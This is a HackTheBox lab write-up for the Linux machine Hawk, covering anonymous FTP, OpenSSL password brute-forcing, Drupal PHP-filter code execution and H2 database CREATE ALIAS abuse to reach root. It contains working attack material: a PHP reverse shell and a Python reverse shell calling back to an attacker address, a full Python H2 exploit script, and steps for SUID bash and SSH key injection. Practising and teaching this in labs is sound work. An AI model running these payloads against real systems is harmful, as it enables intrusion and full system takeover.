HTB: Hawk Writeup
Hawk - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Hawk |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.95.193 |
| Author | mr_h4sh |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Hawk is a medium-difficulty Linux machine that provides excellent practice in Drupal exploitation and Java-based database management system abuse. The initial foothold requires recovering an OpenSSL-encrypted file from anonymous FTP, decrypting it to obtain Drupal admin credentials, and leveraging the PHP filter module for remote code execution. Privilege escalation involves exploiting an H2 database console running as root through a localhost tunnel, abusing the CREATE ALIAS function to execute arbitrary Java code for a root shell. The machine emphasizes password reuse, service enumeration, and creative privilege escalation techniques.
TL;DR: Anonymous FTP → OpenSSL AES-256-CBC decryption → Drupal admin access → PHP filter RCE → MySQL credentials → SSH as daniel → H2 database CREATE ALIAS RCE → root shell
Reconnaissance
Port Scanning
# Full port scan with service detectionnmap -sC -sV -T4 -p- 10.129.95.193Results:
- 21/tcp - vsftpd 3.0.3 (anonymous login allowed)
- 22/tcp - OpenSSH
- 80/tcp - Apache 2.4.29 (Drupal 7.58)
- 8082/tcp - H2 database console (remote access disabled)
Service Enumeration
FTP (Port 21)
The FTP service allows anonymous authentication, which is a common misconfiguration worth investigating immediately:
# Connect anonymously to FTPftp 10.129.95.193# Username: anonymous# Password: <blank>
# List filesls -la
# Navigate to messages directorycd messagesls -la
# Found: .drupal.txt.encThe .drupal.txt.enc file in the messages directory is immediately interesting given the Drupal service running on port 80. Since the jump box disk was full during the assessment, the file was retrieved by outputting its base64-encoded content directly to stdout:
# Retrieve the encrypted file (base64 method due to disk constraints)get .drupal.txt.encHTTP (Port 80)
Accessing port 80 reveals a default Drupal 7.58 installation. The version can be confirmed by accessing /CHANGELOG.txt:
# Enumerate Drupal versioncurl http://10.129.95.193/CHANGELOG.txt | head -n 5Drupal 7.58 is patched against the critical “Drupalgeddon 2” (CVE-2018-7600) and “Drupalgeddon 3” (CVE-2018-7602) vulnerabilities, so these automated exploitation paths are not available.
H2 Database Console (Port 8082)
The H2 database console is accessible on port 8082, but the nmap scan and manual verification reveal that remote connections are disabled (webAllowOthers set to false). This service will need to be accessed via localhost tunneling or from the target system itself.
Vulnerability Assessment
- Anonymous FTP Access - Allows retrieval of encrypted configuration file
- OpenSSL Encrypted File - Requires decryption to obtain credentials
- Drupal PHP Filter Module - If enabled, allows arbitrary PHP code execution
- Password Reuse - Same credentials used across multiple services
- H2 Database Running as Root - CREATE ALIAS function can execute arbitrary Java code
- H2 Remote Access Disabled - Requires localhost access for exploitation
Initial Foothold
OpenSSL Decryption
The retrieved .drupal.txt.enc file needs to be decoded from base64 and then decrypted:
# Decode from base64cat drupal.txt.enc | base64 -d > drupal.enc
# Examine the decoded filexxd drupal.enc | headThe file signature reveals 53 61 6c 74 65 64 5f 5f which translates to “Salted__” - the standard OpenSSL salted encryption format. OpenSSL encrypted files consist of:
- 8-byte signature: “Salted__”
- 8-byte salt
- Encrypted data
# Check file size to determine cipher typewc -c drupal.enc# Output: 176 bytesThe 176-byte size is divisible by 16, strongly indicating a block cipher such as AES was used. Common OpenSSL ciphers include AES-128-CBC, AES-256-CBC, and AES-256-ECB.
Cipher Identification and Brute Force
Rather than manually testing every cipher, we can use a brute-force approach with a common password list. The bruteforce-salted-openssl tool can test multiple cipher/password combinations:
# Attempt to brute force the encryption password# Using common cipher AES-256-CBC and a password listbruteforce-salted-openssl -t 6 -f /usr/share/wordlists/rockyou.txt \ -c aes-256-cbc -d sha256 drupal.encThe password friends is quickly identified. Now we can decrypt the file:
# Decrypt using OpenSSL with the recovered passwordopenssl enc -aes-256-cbc -d -in drupal.enc -out drupal.txt -k friends
# Read the decrypted contentcat drupal.txtThe decrypted note reveals:
Following the password for the portal:
PencilKeyboardScanner123
Please let us know when the portal is ready.
Kind Regards,
IT departmentThe note references a “portal” which is likely the Drupal CMS on port 80, and provides the password PencilKeyboardScanner123.
Drupal Exploitation
Administrative Access
With the recovered password, we can attempt to authenticate to Drupal. The typical administrative username is admin:
URL: http://10.129.95.193/user/loginUsername: adminPassword: PencilKeyboardScanner123Login is successful, confirming administrative access to the Drupal installation.
Enabling PHP Filter Module
The PHP filter module in Drupal allows authenticated administrators to execute arbitrary PHP code within content nodes. This is a well-known privilege escalation path from Drupal admin to remote code execution:
1. Navigate to: Modules (admin/modules)2. Locate "PHP filter" module3. Check the box to enable it4. Click "Save configuration"Important: When enabling the module, all currently enabled modules must remain selected. The form submission includes all module states, so deselecting existing modules would disable them. The correct approach is to add “PHP filter” to the existing set of enabled modules and submit the complete form.
Remote Code Execution
With the PHP filter module enabled, we can create a content node containing PHP code for a reverse shell:
<?php// PHP reverse shell$sock = fsockopen("10.10.14.x", 4444);$proc = proc_open("/bin/bash -i", array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);?>Steps to execute:
- Navigate to: Content → Add content → Basic page
- In “Text format” dropdown, select “PHP code”
- Paste the reverse shell in the Body field
- Start netcat listener:
nc -lvnp 4444 - Click “Preview” to trigger execution
# On attacking machinenc -lvnp 4444
# Shell received as www-datawww-data@hawk:/var/www/html$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)
# Upgrade to interactive shellwww-data@hawk:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")'# Press Ctrl+Zstty raw -echo; fgexport TERM=xtermLateral Movement to User
Drupal Database Credentials
Drupal stores its database configuration in settings.php. This file typically contains MySQL credentials:
# Read Drupal database configurationwww-data@hawk:/var/www/html$ cat sites/default/settings.php | grep -A 10 "databases"The configuration reveals:
$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupal', 'username' => 'drupal', 'password' => 'drupal4hawk', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql',Credentials: drupal:drupal4hawk
Password Reuse Attack
Password reuse is extremely common in real-world environments. The database password should be tested against all identified user accounts. Checking /etc/passwd reveals a user account daniel:
# Attempt SSH authentication with recovered passwordssh daniel@10.129.95.193# Password: drupal4hawkAuthentication succeeds! However, the login shell is unusual:
# The login shell is /usr/bin/python3Python 3.6.5 (default, Apr 1 2018, 05:46:30)[GCC 7.3.0] on linuxType "help", "copyright", "credits" or "license" for more information.>>>The user daniel has their shell set to python3 instead of a traditional shell like bash. This is an uncommon configuration but we can still operate within this Python environment:
# Execute shell commands via pythonimport osos.system("cat /home/daniel/user.txt")User flag captured: <redacted>
Privilege Escalation
H2 Database Enumeration
Earlier reconnaissance identified an H2 database console on port 8082. Examining running processes reveals more details:
# From daniel's python shell, check running processesimport subprocesssubprocess.call(["ps", "aux"])Or using the os module:
import osos.system("ps aux | grep h2")The output shows:
- H2 version: 1.4.196
- Running as: root
- Listening on: localhost:8082
- Remote access: disabled (
webAllowOthers=false)
The fact that H2 is running as root makes it a prime privilege escalation target. However, since remote access is disabled, we cannot connect directly from our attacking machine. We must access it from localhost on the target system.
H2 Database Exploitation
Understanding H2 CREATE ALIAS Vulnerability
H2 Database includes a feature called CREATE ALIAS that allows users to create custom SQL functions by wrapping Java code. This feature was documented by security researcher Matheus Bernandes as a method for achieving remote code execution when database access is obtained.
The vulnerability exists because:
- H2 allows arbitrary Java code execution through
CREATE ALIAS - The
Runtime.exec()method can be called to execute system commands - Command output can be captured using Java’s
Scannerclass - When H2 runs as root (as in this case), code execution occurs with root privileges
Exploitation via Python Shell
Since we have access via daniel’s Python login shell and the H2 console is only accessible from localhost, we can use Python’s standard library to interact with the HTTP-based H2 console:
# Create a Python exploit script to interact with H2 from localhost# This will be executed from daniel's python shell
import urllib.parseimport urllib.requestimport http.cookiejar
# H2 console URL (localhost only)base_url = "http://127.0.0.1:8082"
# Create cookie jar for session managementcookie_jar = http.cookiejar.CookieJar()opener = urllib.request.build_opener( urllib.request.HTTPCookieProcessor(cookie_jar))
# Step 1: Access the H2 console login pagelogin_page = opener.open(base_url + "/login.jsp").read()
# Step 2: Login with default credentials# H2 default: username="sa", password="", new database namelogin_data = urllib.parse.urlencode({ 'driver': 'org.h2.Driver', 'url': 'jdbc:h2:~/exploit', 'user': 'sa', 'password': ''}).encode('ascii')
login_response = opener.open(base_url + "/login.do", login_data)
# Step 3: Create alias for command execution# CRITICAL: The delimiter must be \\A not \A or javac fails silentlycreate_alias_sql = """CREATE ALIAS SHELLEXEC AS $$String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner( Runtime.getRuntime().exec(cmd).getInputStream() ).useDelimiter("\\\\A"); return s.hasNext() ? s.next() : "";}$$;"""
sql_data = urllib.parse.urlencode({ 'sql': create_alias_sql}).encode('ascii')
opener.open(base_url + "/query.do", sql_data)
# Step 4: Execute command via the alias# Test with 'id' command firstexec_sql = "CALL SHELLEXEC('id')"sql_data = urllib.parse.urlencode({ 'sql': exec_sql}).encode('ascii')
result = opener.open(base_url + "/query.do", sql_data).read()print(result.decode('utf-8'))Key technical detail: The delimiter in the Java code must be sent as \\A (double-escaped) rather than \A. If sent as \A, the Java compiler throws an error during the alias creation, but this error is silent in the H2 web console, causing the alias to fail without any indication of what went wrong.
To verify the exploit works, we first test with the id command:
# From daniel's python shell, pipe the exploit scriptexec(open('h2_exploit.py').read())The output confirms execution as root:
uid=0(root) gid=0(root) groups=0(root)Root Shell
Now that we’ve confirmed code execution as root, we can execute a command to obtain a root shell. The most straightforward approach is to add our SSH public key to root’s authorized_keys:
# Modify the exec_sql to add SSH keyexec_sql = "CALL SHELLEXEC('mkdir -p /root/.ssh && echo \"ssh-rsa AAAA...\" >> /root/.ssh/authorized_keys')"Alternatively, we can set the SUID bit on /bin/bash:
# Make bash SUID via H2exec_sql = "CALL SHELLEXEC('chmod u+s /bin/bash')"sql_data = urllib.parse.urlencode({'sql': exec_sql}).encode('ascii')opener.open(base_url + "/query.do", sql_data)Then from daniel’s account:
# Execute SUID bashimport osos.system("/bin/bash -p")Or use a reverse shell payload directly:
# Create reverse shell script as rootexec_sql = """CALL SHELLEXEC('echo "python3 -c \\'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"10.10.14.x\\\",4445));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\\\"/bin/bash\\\",\\\"-i\\\"])\\'" > /tmp/shell.sh && chmod +x /tmp/shell.sh && /tmp/shell.sh')"""# On attacking machinenc -lvnp 4445
# Root shell receivedroot@hawk:~# iduid=0(root) gid=0(root) groups=0(root)
root@hawk:~# cat /root/root.txtRoot flag captured: <redacted>
Attack Chain Summary
FTP Anonymous Login → .drupal.txt.enc → OpenSSL AES-256-CBC Decryption (password: friends) →Drupal Admin Credentials (admin:PencilKeyboardScanner123) → PHP Filter Module RCE →www-data Shell → MySQL Credentials (drupal:drupal4hawk) → Password Reuse →SSH as daniel → H2 Database (localhost:8082) → CREATE ALIAS Java Code Execution →Root ShellTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
ftp | Anonymous FTP access and file retrieval |
openssl | Decryption of AES-256-CBC encrypted file |
bruteforce-salted-openssl | Password recovery for OpenSSL encrypted files |
netcat | Reverse shell listener |
python3 | HTTP client for H2 console exploitation |
ssh | Remote access as daniel user |
Key Learnings
Techniques Practiced
- OpenSSL salted format identification and decryption
- Cipher type identification based on ciphertext size (block cipher detection)
- Drupal CMS enumeration and version identification via CHANGELOG.txt
- Drupal PHP filter module exploitation for remote code execution
- Password reuse attacks across multiple services
- Working with non-standard login shells (Python as login shell)
- Java H2 Database CREATE ALIAS abuse for code execution
- Localhost-only service exploitation via Python standard library
- HTTP session management with cookies in Python
- Java String delimiter escaping issues in web interfaces
Lessons Learned
-
Always check for anonymous FTP access - Anonymous FTP is still found in production environments and often contains sensitive configuration files or backup data.
-
OpenSSL encrypted files are recognizable by signature - The “Salted__” signature (bytes
53 61 6c 74 65 64 5f 5f) immediately identifies OpenSSL encrypted content, and common ciphers like AES-256-CBC should be tested first. -
Drupal PHP filter module is a critical security risk - Enabling the PHP filter module essentially grants code execution privileges to any user who can create content with that text format. This module should never be enabled on production systems.
-
Database credentials are often reused for system accounts - Password reuse is extremely common in real-world environments. Always test recovered credentials against SSH, FTP, and other authentication services.
-
Java database management systems can execute code - H2’s CREATE ALIAS feature, while powerful for legitimate database administration, can be abused to execute arbitrary Java code including system commands via
Runtime.exec(). -
Localhost-only services are not secure from local users - Services that disable remote access but listen on localhost can still be exploited by users with local access, making lateral movement crucial.
-
String escaping matters in multi-layer systems - The
\\Avs\Adelimiter issue demonstrates how string escaping can silently break exploits when passing code through multiple interpretation layers (HTTP → SQL → Java compilation). -
Non-standard shells require adaptation - When a user’s login shell is set to something other than bash/sh (like Python), standard exploitation techniques must be adapted to work within that environment.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup was informed by the official HackTheBox writeup for Hawk (Document No D18.100.29) by egre55, which provided excellent context on OpenSSL cipher identification methodology and H2 database exploitation techniques. The IppSec video walkthrough also demonstrated valuable enumeration techniques including Drupal user enumeration via the registration form.